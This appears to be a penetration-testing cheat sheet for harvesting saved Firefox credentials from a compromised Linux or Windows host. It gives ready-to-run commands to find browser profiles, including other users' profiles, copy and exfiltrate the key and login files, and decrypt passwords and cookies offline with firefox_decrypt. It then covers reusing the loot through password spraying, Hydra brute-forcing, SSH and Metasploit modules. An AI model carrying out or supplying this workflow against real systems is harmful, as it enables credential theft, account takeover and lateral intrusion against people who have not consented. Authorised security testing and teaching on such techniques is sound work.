Firefox Saved Credentials — firefox_decrypt
Ctrl+F:
logins.json·key4.db·cert9.db·cookies.sqlite·.mozilla/firefox
If Firefox was used on a compromised Linux host and the user saved passwords, you can recover them offline on Kali with firefox_decrypt.
Use recovered creds for lateral movement → nxcspray · SSH · Hydra · Credential Graph
📌 When to use
| Situation | Action |
|---|---|
| User shell on Linux desktop / dev box | Hunt ~/.mozilla/firefox/ |
| LinPEAS flags browser profile | Grab the four files below |
| Need creds without root | User’s home dir is enough (no root required) |
| Windows + SMB admin | CrackMapExec - nxc -M firefox instead |
📌 Files required (all four)
| File | Purpose |
|---|---|
logins.json | Saved URL / username entries (encrypted) |
key4.db | NSS key database — decrypts logins |
cert9.db | Certificate DB (needed by tool) |
cookies.sqlite | Session cookies (sometimes useful for web apps) |
📌 Step 1 — Find profile on target
Profile folder name is random per install (not always esmhp32w.default-default):
ls ~/.mozilla/firefox/
cat ~/.mozilla/firefox/profiles.ini
# List profiles
ls -la ~/.mozilla/firefox/*.default* 2>/dev/null
ls -la ~/.mozilla/firefox/*.default-release* 2>/dev/nullConfirm the four files exist:
PROFILE=~/.mozilla/firefox/XXXX.default-default # replace with actual folder name
ls "$PROFILE" | grep -E "logins.json|cert9.db|cookies.sqlite|key4.db"Example output:
cert9.db
cookies.sqlite
key4.db
logins.jsonOther users on the box:
find /home -path "*/.mozilla/firefox/*/logins.json" 2>/dev/null📌 Step 2 — Exfil to Kali
Option A — single staging folder on target, then download:
mkdir -p /tmp/fir
cp ~/.mozilla/firefox/XXXX.default-default/{logins.json,key4.db,cert9.db,cookies.sqlite} /tmp/fir/Transfer via File Transfer (scp, nc, HTTP serve, etc.).
Option B — copy paths directly to Kali folder:
# On Kali — after scp/nc exfil
mkdir -p ~/fir
mv logins.json key4.db cert9.db cookies.sqlite ~/fir/All four files must live in one directory for the tool.
📌 Step 3 — Install firefox_decrypt (Kali)
git clone https://github.com/unode/firefox_decrypt
cd firefox_decrypt
# Dependencies usually satisfied by python3 on Kali; if NSS errors:
# sudo apt install python3-pip libnss3-tools📌 Step 4 — Decrypt
python3 firefox_decrypt.py /path/to/fir/
# or from clone dir:
python3 firefox_decrypt.py ~/fir/| Prompt | Meaning |
|---|---|
| Master password | User set a Firefox master password — try blank Enter first; otherwise crack/spray |
| Output | URL, username, password (cleartext) per saved login |
Pipe to file:
python3 firefox_decrypt.py ~/fir/ > firefox_creds.txt📌 Step 5 — Lateral movement / privesc
# Spray recovered password across subnet
./nxcspray.sh targets.txt recovered_user 'RecoveredPassword123'
# SSH / web / DB with looted pair
ssh user@TARGET
hydra -l user -p 'RecoveredPassword123' TARGET ssh -f
# Map in credential graph→ LatMovement · Credential Discovery · Initial foothold
📌 Alternatives
| Method | When |
|---|---|
CrackMapExec - nxc -M firefox | Windows SMB — remote loot Firefox profiles |
| LaZagne | Multi-app cred dump on box (if installed/uploaded) |
Metasploit post/multi/gather/firefox_creds | Meterpreter session |
| Manual | Read logins.json — usernames/URLs visible; passwords encrypted without tool |
nxc smb TARGET -u user -p pass -M firefox📌 Windows Firefox paths (reference)
C:\Users\USER\AppData\Roaming\Mozilla\Firefox\Profiles\XXXX.default\Same four filenames — exfil and run firefox_decrypt on Kali the same way.
📌 Quick cheat sheet
# Target
ls ~/.mozilla/firefox/
ls ~/.mozilla/firefox/*.default*/ | grep -E "logins.json|cert9.db|cookies.sqlite|key4.db"
mkdir /tmp/fir && cp ~/.mozilla/firefox/PROFILE/{logins.json,key4.db,cert9.db,cookies.sqlite} /tmp/fir/
# Kali
git clone https://github.com/unode/firefox_decrypt
python3 firefox_decrypt/firefox_decrypt.py fir/